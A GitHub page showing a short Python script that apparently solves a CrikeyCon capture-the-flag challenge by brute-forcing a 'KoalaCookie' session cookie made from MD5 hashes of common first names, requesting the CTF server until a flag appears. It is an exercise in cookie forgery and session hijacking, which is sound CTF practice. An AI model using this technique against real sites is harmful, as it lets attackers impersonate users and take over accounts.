-
Notifications
You must be signed in to change notification settings - Fork 102
/
Copy pathCrikeyConCTF-Exploit.py
40 lines (35 loc) · 1.13 KB
/
CrikeyConCTF-Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
#
#
import hashlib
import requests
import time
name = [ "bob", "dave", "jane", "tony", "sarah", "mary", "frank", "droppy", "laura", "john", "emma", "carl" ]
num = len(name)
target = open("/tmp/hash.out", 'w')
target.truncate()
for i in range(num):
print name[i]+ " = " + (hashlib.md5(name[i].encode('utf-8')).hexdigest())
target.write(hashlib.md5(name[i].encode('utf-8')).hexdigest())
target.write("\n")
print "=====================================>"
print "GET http://ctf.crikeycon.com:8001 HTTP/1.1"
print "Host: ctf.crikeycon.com"
cookie=(hashlib.md5(name[i].encode('utf-8')).hexdigest())
print "Cookie: KoalaCookie=" +cookie
cookies = dict(KoalaCookie=cookie)
req = requests.get("http://ctf.crikeycon.com:8001/", cookies=cookies)
print (req.request.headers)
print "<====================================="
print (req.headers)
print "<====================================="
print(req.text)
print "\n\n"
if 'flag' in req.text:
print "Success!"
break
exit
else:
print "No flag found."
print "\n\n\n\n"
time.sleep(3)